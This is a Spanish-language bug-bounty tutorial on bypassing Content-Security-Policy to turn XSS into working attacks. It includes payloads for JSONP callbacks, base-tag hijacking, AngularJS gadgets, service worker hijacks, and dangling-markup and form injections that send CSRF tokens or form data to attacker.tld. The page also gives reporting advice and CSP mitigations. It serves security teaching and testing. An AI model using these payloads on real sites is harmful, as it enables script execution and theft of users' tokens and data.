Respuesta rápida
CSP (Content-Security-Policy) es la mitigación principal de XSS en 2026. Pero un CSP "presente" no equivale a "seguro": permite endpoints JSONP, falta base-uri, hay AngularJS o frameworks con gadgets, dominios trusted con upload de archivos, o unsafe-inline en fallback. Cuando hay XSS pero CSP "lo bloquea", buscar bypasses específicos suele convertir un Self-XSS en Stored XSS pleno.
Anatomía de un CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.target.tld 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self' https://api.target.tld;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
report-uri /csp-report;
Cada directiva puede tener su propio bypass.
Bypass 1 — JSONP en script-src
CSP permite script-src https://googleapis.com. Google APIs tiene endpoints JSONP que ejecutan JS arbitrario via callback param:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>
El response es JSON envuelto en el callback:
alert(1)//(...response...)
alert(1) se ejecuta. CSP pasa porque accounts.google.com (subdominio de googleapis.com en la whitelist) sirve el script.
Lista clásica de JSONP en allowlists comunes:
googleapis.com— múltiples APIs Google.cdn.jsdelivr.netcon paths a libs antiguas.code.jquery.com(no JSONP pero a veces UI-XSS).- Cualquier API de terceros con
?callback=o?jsonp=.
Detection
Buscar en script-src CDN dominios. Para cada uno, googlear "<domain> JSONP" o <domain> callback param.
Bypass 2 — base-uri ausente + nonce
CSP con nonce:
script-src 'nonce-abc123' 'self';
Si tienes XSS que puede inyectar HTML pero no scripts (porque no conoces el nonce), inyecta una <base> tag:
<base href="//attacker.tld/">
El browser hace que TODOS los recursos relativos del documento se resuelvan contra attacker.tld. Si la página luego carga <script src="/main.js">, ahora va a attacker.tld/main.js — el atacante sirve un JS arbitrario.
Mitigación: base-uri 'self' o base-uri 'none'.
Bypass 3 — AngularJS gadgets
Si la página usa AngularJS y el CSP permite script-src 'self' 'unsafe-eval' o solo 'self' y AngularJS está en self:
<div ng-app ng-csp>
<input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>
AngularJS evalúa expresiones en atributos. Si está en la página y el atacante mete HTML con directivas ng-*, ejecuta JS aunque CSP esté.
Lista de gadgets en AngularJS bien conocida (HackTricks tiene todos los expression payloads).
Otros frameworks
- Vue.js con
v-htmlsin sanitizar y CSP que permite el dominio del Vue script. - React con
dangerouslySetInnerHTML(raro, pero existe). - Lodash + helpers transitivos.
Bypass 4 — strict-dynamic con XSS controlling existing scripts
script-src 'nonce-abc' 'strict-dynamic';
strict-dynamic significa "ignora whitelist, scripts cargados por scripts trusted son OK". Bypass: si XSS te permite inyectar HTML que un script existente convierte en <script> dinámicamente, ese script hereda trust:
// Código existente en la app
document.body.innerHTML += userInput; // si userInput contiene <script>, no carga (innerHTML no ejecuta)
// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr); // SI ejecuta, hereda nonce/trust
Si encuentras gadget que convierte input en script dinámico, bypass.
Bypass 5 — Dangling markup injection
Si CSP bloquea scripts pero no <img> y no style-src 'unsafe-inline':
<img src="//attacker.tld/?leak=
Sin cerrar la tag, el browser intenta cargar el src y absorbe TODO lo que viene después como parte de la URL hasta encontrar > o ". Si la siguiente parte de la página tiene un CSRF token o sensible data, viaja al request.
<img src="//attacker.tld/?leak=<input name="csrf" value="...">
attacker.tld recibe el csrf token via Referer/URL. Defacement parcial + token leak sin ejecutar JS.
Mitigación: Content-Security-Policy: img-src 'self' o filter <img src> que no termine con >.
Bypass 6 — Cuando script-src tiene wildcard subdomain
script-src 'self' *.target.tld
Si *.target.tld incluye dominios donde el atacante puede alojar contenido:
- Subdomain con upload de archivos (PDFs, archivos de usuario).
- Subdomain con HTML staging del propio user (profile pages, blog posts).
- Subdomain con CSV/XML que el browser puede interpretar como JS si tipo MIME está mal.
- Subdomain takeover.
Si uno de los subdominios sirve archivos .js controlados por usuarios → bypass.
Bypass 7 — JSON hijacking (legacy)
Frameworks que retornan JSON sin protección anti-CSRF:
[
{"id":1, "secret": "abc"},
{"id":2, "secret": "def"}
]
Si el endpoint responde JSON y el browser lo interpreta como JS (víctima visita attacker.tld que hace <script src="https://target.tld/api/data">), atacante puede capturar los valores via Object/Array prototype overrides en navegadores antiguos.
Mitigado en navegadores modernos pero vector contra apps con browsers legacy.
Bypass 8 — Service Workers
Si XSS te da control sobre /sw.js (subir archivo o injection en respuesta), puedes registrar Service Worker que intercepta fetches del origin:
self.addEventListener('fetch', e => {
if (e.request.url.includes('/api/')) {
e.respondWith(new Response('attacker controlled response'));
}
});
Persiste cross-page-load. CSP no aplica a service workers como tal.
Bypass 9 — Form action si form-action ausente
Si CSP no especifica form-action, falla a default-src o se permite. Inyectar:
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>
Si víctima escribe en input y submit → datos van a attacker. Bypass de "no inline scripts" via form interaction.
Cómo se reporta
Para que el triage acepte:
- PoC funcional que ejecuta
alert(document.domain)o leak medible. - CSP completo que demuestra que está aplicado.
- Vector completo: ¿de dónde viene el XSS original que estás bypaseando?
CSP bypasses puros sin XSS subyacente suelen ser N/A o Informational. Necesitas la chain.
Hunting checklist
- ¿CSP en respuesta? Captura el header.
- ¿
script-srcpermite dominios externos? Buscar JSONP en cada uno. - ¿
base-urideclarado? Si no, intentar dangling base. - ¿AngularJS / Vue / Lodash en la página y permitidos por CSP?
- ¿
strict-dynamiccon XSS que pueda crear scripts dinámicamente? - ¿
img-srcpermite cualquier URL? Probar dangling markup leak. - ¿
form-actiondeclarado? Si no, form externo posible. - ¿Subdomains en wildcard que permitan upload o XSS staging?
Mitigación correcta
- CSP estricta:
default-src 'none'como base, añadir solo lo necesario. script-src 'nonce-RANDOM' 'strict-dynamic'.base-uri 'none'(rara vez se necesita base href).form-action 'self'.frame-ancestors 'none'(mata clickjacking).- No
unsafe-inlineniunsafe-evalsalvo legacy bien justificado. - report-uri activo para detectar attempts de bypass en producción.
- Revisar subdominios whitelisted — ¿pueden hostear contenido user-controlled?
Labs relacionados
Practica CSP bypasses con JSONP, dangling markup, AngularJS gadgets y base-uri injection: labs de CSP bypass.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Xss
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS vía SVG con href javascript: en chat — reclasificación de Self-XSS
Un payload SVG subido como adjunto. Filtro bypassed. Renderizado inline en el contexto principal. Cualquier participante del chat queda expuesto al click.
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
